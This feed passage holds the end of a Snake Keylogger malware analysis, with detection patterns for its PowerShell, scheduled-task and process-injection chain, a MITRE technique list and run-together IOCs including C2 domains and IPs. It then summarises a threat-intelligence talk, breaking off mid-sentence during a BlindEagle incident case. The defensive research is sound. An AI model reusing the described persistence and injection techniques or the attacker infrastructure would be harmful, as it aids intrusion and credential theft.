over the years with updates.</p><p><img src="/images/SRK/83.png" alt="0"></p><p>The developer works mainly with blockchain, as is common, using BTC and Tether that he manages in different wallets and which have considerable income reaching up to 3k.</p><p><img src="/images/SRK/84.png" alt="0"></p><p>The TA, like the affiliates, share their impressions as well as information about the builder or tests performed on victims, which shows that constant developer-affiliate collaboration.</p><p><img src="/images/SRK/85.png" alt="0"></p><p>In summary, the TA makes extensive use of Telegram, since it serves both to show the malware’s capabilities and to have an active community that buys his findings and impressions, as well as serving as a method of exfiltration where credentials and general victim information are shared through this medium. Nevertheless, as we have already seen, we will have options such as FTP, Mail, etc., for this information to be shared by other means.</p><p>Snake is a keylogger that has many stealer-like capabilities and similar features, which has been refined and improved over time; due to its complexity, the first time I analyzed it I found the recursive code-loading methodology confusing (the overview report by <a href="https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/">Lena</a> helped me a lot), but its modus operandi is what makes it different from other malware in the same field and, unfortunately, it appears likely to continue terrorizing companies.</p><br><h1 id="Detection-Opportunities"><a href="#Detection-Opportunities" class="headerlink" title="_Detection Opportunities"></a>_Detection Opportunities</h1><br><ul><li>[TA0002][T1059.001] Powershell execution after suspicious bat script</li></ul><pre class="line-numbers language-none"><code class="language-none">(Parent-Process) cmd.exe (Parent-Command) cmd &#x2F;c start &quot;&quot; &#x2F;min &quot;C:\Users\&lt;user&gt;\AppData\Local\Temp\&lt;random&gt;.bat&quot; &gt; (Child-Command) *powershell.exe* -nop -w h &lt;redacted&gt; | *powershell.exe* -nop -c &lt;redacted&gt;<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA0002][T1127.001] Suspicious tree after script execution</li></ul><pre class="line-numbers language-none"><code class="language-none">(GrandParent-Process) wscript.exe (GrandParent-Command) *.js | *.vbs &gt; (Parent-Process) &lt;random&gt;.exe &gt; (Child-Process) MSBuild  | RegAsm | vbc | cvtres | applaunch | Regsvcs | InstallUtil<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA0003][T1053.005] Persistence using tasks after suspicious script or exe</li></ul><pre class="line-numbers language-none"><code class="language-none">(Parent-Process) &lt;random&gt;.bat|.js|.vbs|.exe &gt; (Child-Process) schtasks.exe (Child-Command) *schtasks.exe* &#x2F;Create &#x2F;TN &quot;Updates\&lt;random&gt;&quot; &#x2F;XML &quot;C:\Users\&lt;user&gt;\AppData\Local\Temp\&lt;random&gt;.tmp&quot;<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA0003][T1547.001] Persistence writing new scripts at startup folder</li></ul><pre class="line-numbers language-none"><code class="language-none">(New-File) &lt;Random&gt;.bat|.js|.vbs &gt; (Folder) *\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA0005][T1055.012] Process injection over .NET files or itself</li></ul><pre class="line-numbers language-none"><code class="language-none">From unk file &gt; injection &gt; MSBuild  | RegAsm | vbc | cvtres | applaunch | Regsvcs | InstallUtil | same unk proc<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><br><h1 id="TTP"><a href="#TTP" class="headerlink" title="_TTP"></a>_TTP</h1><pre class="line-numbers language-none"><code class="language-none">[TA0001][T1566.001] SpearPhishing[TA0001][T1566.002] Spearphishing Link[TA0002][T1059.001] Powershell[TA0002][T1059.003] Windows Command Shell[TA0002][T1059.005] Visual Basic[TA0002][T1059.007] JavaScript[TA0002][T1204] User Execution[TA0003][T1053] Scheduled Task&#x2F;Job[TA0003][T1547.001] Registry Run Keys &#x2F; Startup Folder[TA0005][T1027] Obfuscated Files or Information[TA0005][T1564.001] Hidden Files and Directories[TA0005][T1027.003] Steganography[TA0005][T1127] Trusted Developer Utilities Proxy Execution[TA0005][T1036] Masquerading[TA0005][T1055] Process Injection[TA0005][T1140] Deobfuscate&#x2F;Decode Files or Information[TA0005][T1497] Virtualization&#x2F;Sandbox Evasion[TA0006][T1555] Credentials from Password Stores[TA0007][T1049] System Network Connections Discovery[TA0007][T1057] Process Discovery[TA0007][T1033] System Owner&#x2F;User Discovery[TA0007][T1518] Software Discovery[TA0007][T1082] System Information Discovery[TA0007][T1217] Browser Information Discovery[TA0009][T1056.001] Keylogging[TA0009][T1113] Screen Capture[TA0009][T1114] Email Collection[TA0010][T1041] Exfiltration Over C2 Channel[TA0011][T1105] Ingress Tool Transfer[TA0011][T1071] Application Layer Protocol[TA0011][T1102.002] Bidirectional Communication[TA0040][T1489] Service Stop<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><br><h1 id="IOC"><a href="#IOC" class="headerlink" title="_IOC"></a>_IOC</h1><pre class="line-numbers language-none"><code class="language-none">2b5066e80b14497fbfb74edec0ece993bc96364b05e07b56fcf1d8c2ffc136384cf6adbd484317ea9575c236291b11a675a0b03246646df502ffc1623c9f3bed8f70d1e2dd175ef62acf06496488b9bbf634d900809d133d5d175b26ec0d558623c7a3b054d0d62e729a70c5337e60a9b2ca9f4771ac26158811cc30ef3c14d6e4667848d54b7e333098e169e398d77b1f470628a481000af8ef3f4dcf8bed0a2bea445eed1b8e44585e00037f0c7e1db38c7064ca778859a391a23fd531864a838e76e03d054712b2e4d7460a94c3c5efc94561e63830119ad1f853736a36786d6d0e56950402b84ea721cd06cd329629d6b64e885923533de5b1c33b50d15c098231c653d5968cadf74d3b7118d170615385dd0278035dbb4001204ac338ab03b59ea7bb1e2da157ae489381b5b047536b6737bf87feeba65b499ee484b4dbc9ecb6fb948227414357e221aa9b46dda2063989a8c47624815e9b8ee0e1aa86a986ef1f64a9f305fafa053dd1593ca32a3ad865da931b4ba62a84da8e14c2a33ed27c3c0e41ffd40027a4ddde28a4391e15f76714abc523c72c597ff9b5d4562f76a21937582bd59783cab01437d029a6ccd52635e2a3f424831ad7e444e640082c17414af12072323ba9f4c1b1ce57491434032ff5f339374866dea3dfcc096b734c88958bfe7447e6702844486156daf7a54cbd0a1cf9b7bfef98daadf519cd8484bc36f1b71b38d2484a693b04cd58f979dd3ce9ae5cac5722e28b45500f7f0f163959167b201b99ebe9695944e5b9c3ac7536fc84023aac565b0c21d3d450f2444ef55d8aa33dbcbf6b7324237671cface9e5fe6535fe23f811ceecc48f8134d4cf36ca673a2c8c3a18bf7326f08cc2d2b692f239be423c04540dee1d044bb3d81a2909aca92d4bcf47ea8e8f10fa685ab569fb9e9b63c276cbe08c3630f409ec6f04457e094ec5bc962c8ec8ee489771f8a4a2db1e35bbf9d71987c715d927a872657c6005e6d25f2e7aa1bed89f4c90b5323efc9e3bd1509167bc9c4536934868ebcecbd1f53d8bcb6a74cc445078d6759a8a607cbd6ca016a71dd56aa09d6699c8aad5ef8e6cc60745ffa8764da18b41e92e3f02da1f45b70c74d6956f7729109b694aacc08e419e7126d1503ae2e77b5a6375e7299179309df7c5627a1ac0566d753f699dd7fffb5b96326812eb33c19e454b93fa916a21fcbca4c021ef045bc0f31750070ee021b7e781e3b833d5b08797512e646cb10bdf60204573cc07e806fc2c6d0beef8c20b20c62a647887e81d3b4306d647416aceb0eccd7b50accfe80d370e374def391c5d57fbf8c7a468d1f20e1274e59839dafbf2db30409e85d1244083354035528d143f8d653a7304ae758a39ee88896071c4f4a10101b663877eb3c46f2c7461a84653ed9bcddbda070c8ff399d21c6974a6da41179A42990FA012C58F24B7A556A321A0AF26911AEF71DB91E5D19F30B1C6876656eae3341ce6eaec052ad638ad5f10c871ed01d23f68d1f28646e2f6305bfbb6e8f02457c0ce811c8b7e3574ec86609d52021d2cb59782ee6ef1efb0bb6e0af251.38.247.673.23.155.57anotherarmy.dns.armyaborters.duckdns.orgvarders.kozow.com<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;_Overview&quot;&gt;&lt;/a&gt;_Overview&lt;/h1&gt;&lt;p&gt;Snake Keylogger, also known as 404 Keylogger, is malware that has been categorized as a keylogger and that has evolved over time, acquiring stealer capabilities that complement its functions and have made it more powerful over the years. It first appeared in 2019 and it is believed that much of the source code may belong to Matiex, while others maintain that 404 was first and that Matiex obtained its code. Like many other malwares, it is based on a Malware-as-a-Service (MaaS) model and is sold and advertised on black markets, both on the Dark Web and in forums or Telegram since its creation, with prices that have fluctuated over the years as its capabilities increased; the tool can be purchased for anywhere from $25 up to $900 for a lifetime version, and there are currently different versions with different prices per version.&lt;/p&gt;
&lt;p&gt;The malware has been used by all kinds of users, from organized groups to users with less ambitious objectives. Its attack methods have been very varied depending on the buyers of the tool, but they have included phishing, other droppers to launch it, prior loaders, or even abusing installers pretending to be a legitimate application.&lt;/p&gt;
&lt;p&gt;As mentioned, Snake has been involved in a large number of campaigns and has been used by numerous unknown actors, but also by some with significant impact:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;[👽TA] UAC-0041 (🏴): Used with Formbook as loader&lt;/li&gt;
&lt;li&gt;[👽TA] TA558 (🏴): Steganography using other malwares (AgentTesla, FormBook, Remcos, &lt;a href=&quot;https://rexorvc0.com/2022/06/28/MacheteWeapons_Lokibot/&quot;&gt;LokiBot&lt;/a&gt;, GuLoader or XWorm)&lt;/li&gt;
&lt;li&gt;[☢️Campaign] QuirkyLoader: Mass executions using the loader + Snake, AgentTesla, AsyncRat, MassLogger, Rhadamanthys&lt;/li&gt;
&lt;li&gt;[☢️Campaign] GuLoader: Using it as a hook to deploy Snake&lt;/li&gt;
&lt;/ul&gt;</summary>
    
    
    
    <category term="Research" scheme="https://rexorvc0.com/categories/Research/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="Stealer" scheme="https://rexorvc0.com/tags/Stealer/"/>
    
    <category term="Keylogger" scheme="https://rexorvc0.com/tags/Keylogger/"/>
    
  </entry>
  
  <entry>
    <title>CTI The Dark Cloak</title>
    <link href="https://rexorvc0.com/2025/10/13/CTI_Dark-Cloak/"/>
    <id>https://rexorvc0.com/2025/10/13/CTI_Dark-Cloak/</id>
    <published>2025-10-13T06:00:00.000Z</published>
    <updated>2025-10-12T16:59:17.082Z</updated>
    
    <content type="html"><![CDATA[<p>ℹ️️ <em>This is a summary of the talk on intelligence called “CTI: The Dark Cloak” that took place in October at the “Navaja Negra” conference. The video can be found on <a href="https://www.youtube.com/watch?v=jVmOkso6EO8&t">YouTube</a> (only in Spanish), so I have created this blog post to have it in another format and with more complex explanations so that the information can also be accessed in written form (and in English)</em> ℹ️️</p><h1 id="Overview"><a href="#Overview" class="headerlink" title="_Overview"></a>_Overview</h1><p>The talk focuses on tactical and operational intelligence, while also touching on the strategic side, from two perspectives, business and technical. The goal is to understand what role CTI should play within a company and how, as members of a cohesive CTI team where the three intelligence levels work together, we can support both technical and non-technical teams to integrate intelligence across the entire organization. This integration adds value not only to the intelligence team itself but also amplifies or generates intelligence within other departments</p><p>It was divided into two sections: the first two points (“Objectives and scope of intelligence” and “How to leverage intelligence?”) focused on a more executive environment, where we tried to understand current challenges and possible solutions for intelligence work within modern companies. The remaining sections were more practical, applying the proposed changes to support other colleagues from a CTI perspective.</p><p>Thus, the topics covered were as follows:</p><ul><li>Objectives and scope of intelligence<ul><li>Understanding where you are</li></ul></li><li>How to leverage intelligence? How do we do it?<ul><li>Now what?</li></ul></li><li>Connecting the dots – Real cases</li><li>Conclusion</li></ul><span id="more"></span><br><h1 id="Objectives-and-Scope-of-Intelligence"><a href="#Objectives-and-Scope-of-Intelligence" class="headerlink" title="_Objectives and Scope of Intelligence"></a>_Objectives and Scope of Intelligence</h1><p>In this section, we addressed three main problems commonly faced by CTI teams in corporate environments (Human&#x2F;Personal, Corporate, and Relational), proposing possible solutions or changes in perspective. These challenges stem from the recent explosion of CTI across the tech industry and the lack of maturity in how it’s implemented</p><h2 id="What-Can-We-Offer-Human-x2F-Personal"><a href="#What-Can-We-Offer-Human-x2F-Personal" class="headerlink" title="_What Can We Offer? (Human&#x2F;Personal)"></a>_What Can We Offer? (Human&#x2F;Personal)</h2><p>Before diving deeper, it’s important to recall the three fundamental layers of intelligence, even though they are widely known:</p><ul><li>Strategic: Long-term</li><li>Tactical: Mid-term</li><li>Operational: Short-term</li></ul><p>There are frequent disagreements among organizations about how to classify certain functions, what some call operational, others may call tactical, and vice versa. Nonetheless, during the talk, we used this visual model (designed by me) to illustrate the levels clearly, showing basic definitions (in orange) and capabilities or tasks (in green), which were later developed in detail.</p><p><img src="/images/cti_drk/0.png" alt="0"></p><p>After this foundational point, we reached the first key issue in intelligence work: the people who make up CTI teams.</p><p>It’s widely known that the intelligence world has become mainstream, just like Threat Hunting (TH) did about 5–6 years ago, when every company wanted a TH team, even without understanding what the team actually did. The same pattern has now repeated with CTI: companies are building intelligence teams without proper awareness of the required human capabilities.</p><p>The most effective CTI teams I’ve seen are those where members have diverse roles and backgrounds, both technical and non-technical, allowing them to cover all three levels of intelligence (strategic, tactical, and operational). Their broad knowledge enables them to understand that CTI is the culmination of a career path: professionals with solid experience in one of the areas shown in the diagram can contribute valuable insights from their specific perspective.</p><p><img src="/images/cti_drk/1.png" alt="0"></p><p>Conversely, many CTI teams have been created incorrectly, where people join intelligence as a starting point rather than as a culmination. In other words, individuals without any cybersecurity background enter CTI hoping to learn and later pivot elsewhere, or stay, resulting in departments that can only perform limited strategic functions. These teams often focus on geopolitical topics, perform basic searches, copy or replicate what others have said, or rely entirely on automated tools, since these areas demand less technical skill and background.</p><p><img src="/images/cti_drk/2.png" alt="0"></p><p>Corporate misunderstanding of CTI’s real capabilities, combined with the field’s growing popularity and job demand, has led to the creation of departments that cannot properly support their company, neither internally (by generating useful intelligence and assisting other teams) nor externally (by providing strong products or services).</p><p>Ultimately, this has produced two distinct types of CTI teams:</p><ul><li>The Strategic Team</li></ul><p>Most CTI teams I’ve encountered are strategically oriented and deal with superficial tasks such as geopolitics, dark web monitoring, or rewriting what others have already published. These teams often give strategic CTI a bad reputation, especially since many so-called “cyber influencers” on LinkedIn belong to this category. They usually have no background in computer science or cybersecurity but stand out for their communication or social skills, often repackaging information for business or marketing contexts.</p><p><img src="/images/cti_drk/3.png" alt="0"><br><img src="/images/cti_drk/4.jpg" alt="0"></p><ul><li>The Tactical–Operational Team</li></ul><p>The minority of CTI teams are those with a technical foundation, formed by people from diverse professional paths, individuals who have spent years in DFIR or reverse engineering, others who worked for a decade in SOC or Threat Hunting, or those coming from purple-team backgrounds with a strong interest in intelligence. This group often rejects the strategic world and struggles to translate technical work into executive contexts, focusing heavily on technical execution but neglecting visibility, presentation, or the broader usability of their work.</p><p><img src="/images/cti_drk/5.png" alt="0"><br><img src="/images/cti_drk/6.jpg" alt="0"></p><p>Unsurprisingly, the most competent and impactful CTI teams are those that successfully combine people capable of covering all three intelligence levels. These teams can perform highly technical work and translate it into different environments, while also leveraging strategic insights to deepen their investigations and create value both internally and externally.</p><p>There is no short-term fix for this issue, as it’s primarily a conceptual and cultural problem. Those building CTI teams often lack a full understanding of what intelligence work truly involves and what skills are required. On the other hand, there’s an influx of professionals entering CTI without truly understanding the role, and the market allows it due to high demand, much like what happened (and continues to happen) with Threat Hunting.</p><p>It will take several years for executives in technology companies to fully understand how to correctly implement and build effective CTI teams and to recognize their strategic importance and ideal composition</p><h2 id="Company-capabilities-Corporate"><a href="#Company-capabilities-Corporate" class="headerlink" title="_Company capabilities (Corporate)"></a>_Company capabilities (Corporate)</h2><p>Once the human factor has been addressed, we have other problems within CTI, which focus on the technological stack, where approaches differ greatly depending on the company.</p><p>On one hand, there are companies that do not acquire any tools, relying 100% on the human resources they have hired, assuming those people will be able, with no tools or only free tools, to perform high-level intelligence work.</p><p>On the other hand, there are companies that are able to invest significant capital in tools, burying their technicians in multiple portals, APIs and capabilities that they are often unable to use properly due to lack of time or capacity. This becomes a problem when you combine too much technology with a poorly trained team, as mentioned previously.</p><p><img src="/images/cti_drk/7.png" alt="0"></p><p>At this point, some might think that the best approach for intelligence is to become an old-school developer and build your own tools, but the reality is that in CTI the priority is to know how to correlate information and give it dual use, as well as to extrapolate information as much as possible so that it reaches adjacent teams and clients in whatever format is needed.</p><p>Clearly, the golden mean is best, and the ability to read the skills of the CTI team you have hired is key to choosing which tools to adopt, and not the other way around. You can start with a more open source or free stack when creating the team and evolve toward higher-cost tools as the team matures, so the team members can synthesize what is more or less useful and exploitable based on their capabilities and the company’s constraints.</p><h2 id="Active-security-departments-Relational"><a href="#Active-security-departments-Relational" class="headerlink" title="_Active security departments (Relational)"></a>_Active security departments (Relational)</h2><p>The third problem, and possibly one of the most common, is the coordination of the cybersecurity teams within the company.</p><p>The creation of a security team in a corporate environment may be driven by needs or by mainstream trends, since clients or future services may require it, and the people tasked with creating these teams are often entities with little or no technical background in the departments they are creating. This may be caused by an executive body that needs the team, or by lack of time, so the creation is assigned to one or several colleagues who later will look for someone to lead the department. Conversely, a team may be created with someone who has deep knowledge, but without focus on cohesion or collaborative work with their peers, who are the other operational and technical teams.</p><p>The main problem with creating new departments is the little or no strategic vision of communication and joint work between teams, (managers going to lunch together once a month does not count), which creates siloed departments that have no common thread. Each team has its own clients, its own infrastructure, its own tools, and the only thing it shares with another team is that they belong to the same company.</p><p><img src="/images/cti_drk/8.png" alt="0"></p><p>Likewise, some companies force themselves to have teams that do not make sense for their organization because of needs they cannot actually cover due to their idiosyncrasy. If as a company you do not even have devices inventoried, an IT team, or a properly segmented network, how are you going to have or hire a TH or CTI team? The order of priorities required to remain competitive compared to other companies, as well as the desire to satisfy client needs, also creates malformed teams or teams that do not make sense in the organization at the moment they are created, because the company does not have the maturity for them. This greatly aggravates existing problems, resulting in teams that do not do what they should do (for example, TH teams looking only for IOCs) and, certainly, with no communication with other teams.</p><p>The most logical step to improve communication is to place CTI at the center of the company, making it much more accessible to move and work information, a point we will cover later.</p><h1 id="How-to-leverage-intelligence-How-do-we-do-it"><a href="#How-to-leverage-intelligence-How-do-we-do-it" class="headerlink" title="_How to leverage intelligence? How do we do it?"></a>_How to leverage intelligence? How do we do it?</h1><p>One measure that could solve part of the problems described above is to work together with the clear understanding that CTI is a department that should be at the operational center, neither above nor below other sibling departments such as TH, DFIR, Offensive, etc., from which we can spend 40%–50% of our time supporting colleagues in different tasks, merging and complementing intelligence work across the three levels (strategic, tactical and operational) in each department. For this reason it is essential that the CTI team be composed of people with diverse backgrounds in different areas.</p><p><img src="/images/cti_drk/9.png" alt="0"></p><p>The great advantage of having all departments connected and CTI able to share the work it produces, as well as reuse or assist with intelligence tasks for other departments, brings a level of maturity that almost no company is currently achieving.</p><p>A frequent question is: what tasks can CTI perform as support for other teams? The answer is both simple and difficult, since it depends on the teammates that make up the team, the tools at our disposal, and the capacity to create procedures that determine which tasks we can perform for other teams.</p><p>In the following graphic, some examples are represented across the three intelligence levels of how CTI can support each team in different ways. There are of course countless options depending on capabilities and tools available, but the power of this model is not only in helping colleagues and adding that extra layer of intelligence, but in giving the work dual use, creating an almost infinite loop of information and the ability to generate intelligence from different angles.</p><p>Example: As CTI we help during an incident by providing information about the adversary, collecting TTPs, new reports, and cross-checking what we already know about the actor with external sources, as well as pivoting on IOCs or analyzing tools or malware found during the incident. Having assisted with these tactical and operational tasks, we enable DFIR colleagues to focus their work and avoid wasting time on these areas, and we can provide a more “external” view to guide them on good next steps, because we have context on who the actor might be or which techniques they have historically used. But we do not stop there, because after the incident we can deepen our analysis of the adversary, their TTPs and tools, break down victimology and see how to leverage this information for other technical teams, for example with the TH team we can design rules, and with non-technical teams such as Business we can look for potential clients that might be targets and prepare a press note or incident summary.</p><p><img src="/images/cti_drk/10.png" alt="0"></p><p>The capabilities we have as CTI internally are only limited by the colleagues who compose it and the tools and ideas we can bring to be a differentiating factor in the activities of other teams. This should not be unidirectional, all teams should be able to share anonymized information, CTI acting as a nexus and facilitator, never as a stopper. For example, communication between TH and RT should be natural, where new audits and techniques by the offensive team are very useful to strengthen defenses and think of new detection strategies, and similarly when TH develops a detection that arises from a technique or tool used by the offensive team, RT can think of ways to bypass it or find alternatives, strengthening both teams systematically and without limit, (this correlation is almost never done, unfortunately).</p><p>The way to build a technological stack must be driven by the people on the teams, not the other way around, that is, tools should be chosen based on team capabilities. Likewise, it is important to choose the stack taking into account the full pull of teams and not have each team select different tools for similar purposes, which happens far more often than you might think.</p><p>When creating a team, it is sometimes a good strategy to start with low-cost or open source&#x2F;free tools and scale the stack as the team matures or the tools become limiting, but it is important to think about tools that will provide high value in the medium and long term and that are cross-functional, that is, that support or can serve multiple teams at once, such as MISP, OpenCTI, etc.</p><p>If teams decide jointly which tools they will use and for what purpose, and reach consensus, they will progress together and actually use them, with CTI supporting the feeding of these tools as much as possible so information is centralized.</p><p><img src="/images/cti_drk/11.png" alt="0"></p><p>A clear example of a cross tool is OpenCTI, which anyone can deploy, is easy to use although difficult to master, and offers capabilities that allow teams to be involved in multiple ways:</p><ul><li>Providing strategic information on potentially active campaigns, relevant for SOC or TH</li><li>Collecting trend information, relevant for everyone</li><li>Obtaining information on new tools, CVEs or malware, relevant for TH and Offensive</li><li>Gathering anonymized incident data (historical) to correlate with indicators or reports, relevant for DFIR, TH, Offensive</li><li>Connecting internal and external indicators, relevant for everyone</li><li>Uploading reports created by intelligence or anonymized from other teams and extracting TTPs and IOCs, relevant for DFIR, TH, Offensive</li></ul><p><img src="/images/cti_drk/12.png" alt="0"></p><br><h1 id="Connecting-the-dots-–-Real-cases"><a href="#Connecting-the-dots-–-Real-cases" class="headerlink" title="_Connecting the dots – Real cases"></a>_Connecting the dots – Real cases</h1><p>The application of the concepts developed during the talk comes into play when we place an intelligence department with limited tools but capable of covering the three intelligence levels and correlating intelligence, positioned at the center of operational departments, as described earlier, setting milestones and creating procedures to make internal assistance effective.</p><p>During this implementation, which took more than a year of work, we assisted and collaborated with different teams from a CTI perspective, encountering various adversaries. Here we will go in depth on three cases: BlindEagle (APT-C-36), Akira and FIN6.</p><p><img src="/images/cti_drk/13.png" alt="0"></p><h2 id="BlindEagle"><a href="#BlindEagle" class="headerlink" title="_BlindEagle"></a>_BlindEagle</h2><p>For the three adversaries we will review the communication scheme followed. In this case, during the incident other teams are not included, since later we will see how to leverage the work and exploit the full communication cycle previously discussed.</p><p>Communication began with TH, where the work was shared between DFIR, TH and CTI teams.</p><div style="display: flex; justify-content: center; gap: 10px;">  <img src="/images/cti_drk/14.png" alt="img1" width="400">  <img src="/images/cti_drk/15.png" alt="img2" width="400"></div><p>Throughout all cases, we kept the same milestones, which were defined based on available tools, teammate capabilities, and the time that could be invested supporting each team; these variables can vary</p><p>Thus, the milestones set to assist in all the cases we will examine were:</p><ul><li>Obtain more affected devices</li><li>Collect IOCs and TTPs, providing internal and external context of the threat</li><li>Perform attribution</li><li>Help in searching for the execution chain</li><li>Analyze malware, tools and hacktools</li></ul><p><img src="/images/cti_drk/16.png" alt="0"></p><p>This incident began with a natural communication between TH and CTI, since we provided CTI-driven support to TH services, where a hunting event revealed execution of an obfuscated PowerShell.</p><p><img src="/images/cti_drk/17.png" alt="0"></p><p>Supporting the TH team, we got to work to see which tasks we could help with, starting to look for campaign context and to deobfuscate the PowerShell.</p><p>The code chains led us to a double download, one of which used steganography (so it was embedded in an image) and the other was another obfuscated string.</p><p><img src="/images/cti_drk/18.png" alt="0"></p><p>After extracting both, we arrived at two .NET binaries that we later analyzed.</p><p><img src="/images/cti_drk/19.png" alt="0"></p><p>With this analysis, having collected IOCs, TTPs and seen part of the execution chain, we can see that we are beginning to meet the milestones, where collecting TTPs and IOCs is naturally recursive, as is searching for new affected machines together with the TH team.</p><p><img src="/images/cti_drk/20.png" alt="0"></p><p>After this phase, we determined we could be more helpful to the hunters by locating the entire execution chain so they could extract all potentially affected devices, so we continued on that point.</p><p>As CTI we must be able to extract internal and external information useful for the team we are assisting. In this case we knew some IOCs and TTPs and we searched sandboxes and public sources for similar executions and scripts, increasing our knowledge of the threat and obtaining more samples and variants the actor may have used, which helped us extrapolate the execution we were seeing and be more effective.</p><p>We positioned ourselves on the execution we observed to understand what happened before and after, and thus map the full execution chain. In this case we saw a script was executed because there was a parent Wscript process that launched a PowerShell.</p><p><img src="/images/cti_drk/21.png" alt="0"><br><img src="/images/cti_drk/22.png" alt="0"></p><p>External information we can extract at this point is valuable, since we can find other scripts that help understand how the prior event occurred. The adversary could have used links or office documents to get the victim to download the script, for example. Logically, we discovered that someone must have sent this information, and therefore it was spear-phishing; when reviewing it we found attachments, headers, emails, etc., which were useful indicators that later helped increase our external correlation.</p><p><img src="/images/cti_drk/23.png" alt="0"></p><p>Knowing how it started, we found various phishing samples both in the infrastructure and referenced by other researchers on different platforms, which helped us find additional capabilities the actor used, such as achieving persistence by dropping a VBS that acted as a loader for the entire execution, which invoked wscript, which invoked PowerShell, and which was launched by an LNK in a startup folder so the execution started on each system boot.</p><p><img src="/images/cti_drk/24.png" alt="0"></p><p>At this point we had the entire execution chain clear and as CTI we collected IOCs and TTPs, which we should draft visually to understand the campaign and use later.</p><p>Then we worked with TH to provide new information and collaborate on finding additional affected machines, using many indicators to find more compromised devices. Thanks to this expansion we went from seeing a couple of machines to identifying many more devices in the environment: some had downloaded the phishing content but not executed it, others had persistence, and others had executed the entire chain, so we had more understanding of how the estate was impacted and could create stronger hunting rules to use tactically with other clients with similar profiles.</p><p><img src="/images/cti_drk/25.png" alt="0"></p><p>Subsequently, we analyzed the malware to provide more context, understand its functionality and extract additional TTPs and IOCs.</p><p>Thus, the first binary was being loaded dynamically, following a specific GetType and GetMethod that later served us.</p><p><img src="/images/cti_drk/26.png" alt="0"></p><p>The end result was an in-memory load of the first binary’s code, which has capabilities to obtain process information and perform injections, specifically process hollowing. At that point we did not dig much deeper because the capabilities were limited and the utility of that binary was clear: it was going to be the injector for the second binary.</p><p><img src="/images/cti_drk/27.png" alt="0"></p><p>In the second binary we saw a decrypt function that obtained information about ports, domains, IPs and a mutex that serves as an indicator, useful to know whether it is already active on the system and avoid re-execution; in some cases it can be used for attribution.</p><p><img src="/images/cti_drk/28.png" alt="0"></p><p>Other capabilities, like enumerating running processes to terminate those related to analysis, are commonly used by malware to avoid anti-analysis and execution in virtualized environments.</p><p><img src="/images/cti_drk/29.png" alt="0"></p><p>Another characteristic is checking the current privileges to try to escalate them, attempting to run with the highest privileges possible to avoid problems during later phases.</p><p><img src="/images/cti_drk/30.png" alt="0"></p><p>Summarizing the most important characteristics, it connects to C2, attempts to establish a connection and shares basic system information it gathered in the initial function.</p><p><img src="/images/cti_drk/31.png" alt="0"><br><img src="/images/cti_drk/32.png" alt="0"></p><p>From this analysis we concluded the first malware is an injector that loads the second in memory, and the second is a DCRat (AsyncRAT).</p><p>Our next milestone will be to attempt attribution, a topic for another talk, however here we will pursue it as much as possible with the capabilities and tools we have. We will focus on aspects we have already obtained such as indicators, strings, processes and commands, and we will run YARA on the malware to try to find other cataloged and public samples similar to ours.</p><p><img src="/images/cti_drk/33.png" alt="0"></p><p>In this case we started pivoting on the IOCs to find already-reported infrastructure similar to what we see, which is useful to profile actors because we assume they may be as lazy as we are and build their infrastructures with the same hostnames, same open ports, same certificates, etc. (also to minimize costs).</p><p>During this pivoting we found infrastructures very similar to our indicators that pointed to njRAT, AsyncRAT, DCRat, etc.</p><p><img src="/images/cti_drk/34.png" alt="0"><br><img src="/images/cti_drk/35.png" alt="0"></p><p>In one of these searches we reached an IP with characteristics matching ours, where an AsyncRAT had been used by BlindEagle, so we established the first link to an actor.</p><p>Additionally, by searching for command lines similar to ours we found other reports with the same executions used to load the first binary in earlier stages, which had also been correlated to APT-C-36.</p><p><img src="/images/cti_drk/36.png" alt="0"></p><p>Having arrived at the same conclusion by two different routes, we searched for more information on new BlindEagle campaigns and found multiple indicators and reports very similar to ours, which we could cross-check because we had constructed a draft of the execution chain during the earlier phases to understand the entire process.</p><p>With our TTPs and visually, we could connect other reports that shared modus operandi, arriving at the same conclusion from another angle.</p><p><img src="/images/cti_drk/37.jpg" alt="0"><br><img src="/images/cti_drk/38.png" alt="0"></p><p>Attributions are always complicated, and many CTI teams tend to overreach. As a rule of thumb for intelligence teams, never assert definitively that an adversary is the one you claim, but say that the evidence makes it highly likely. Inventing adversaries is also not good practice.</p><p>At this point we have achieved our objectives and can see what to do next, once all milestones are completed, in the “Lessons Learned” section:</p><ul><li>We can identify other clients who could benefit from this information both from a business perspective (acquiring new clients or informing existing ones) and from a Hunting perspective, where we can tune those hunting rules and look for other similar clients that may have been affected by this campaign, or prevent them being affected by applying those rules</li><li>We can create and operationalize these rules</li><li>We must store all information, as CTI we should know what happened and when, so it is advisable to always have a database or similar to keep all information, resources, modus operandi, IOCs, etc., and support this with OpenCTI</li><li>After the incident we can reanalyze everything, the adversary, the TTPs, tools, etc</li><li>All extracted information can be shared with other teams, but giving them what they need (a 200-page report they will not read is not useful, we must be effective)</li><li>We must iterate on the adversary: it happened once, it will happen again, so having sensors to detect new information about BlindEagle will be crucial; if new information appears, analyze what changed, adapt queries, re-notify clients and restart the cycle</li></ul><p><img src="/images/cti_drk/39.png" alt="0"></p><h2 id="Akira"><a href="#Akira" class="headerlink" title="_Akira"></a>_Akira</h2><p>In this second scenario we will come 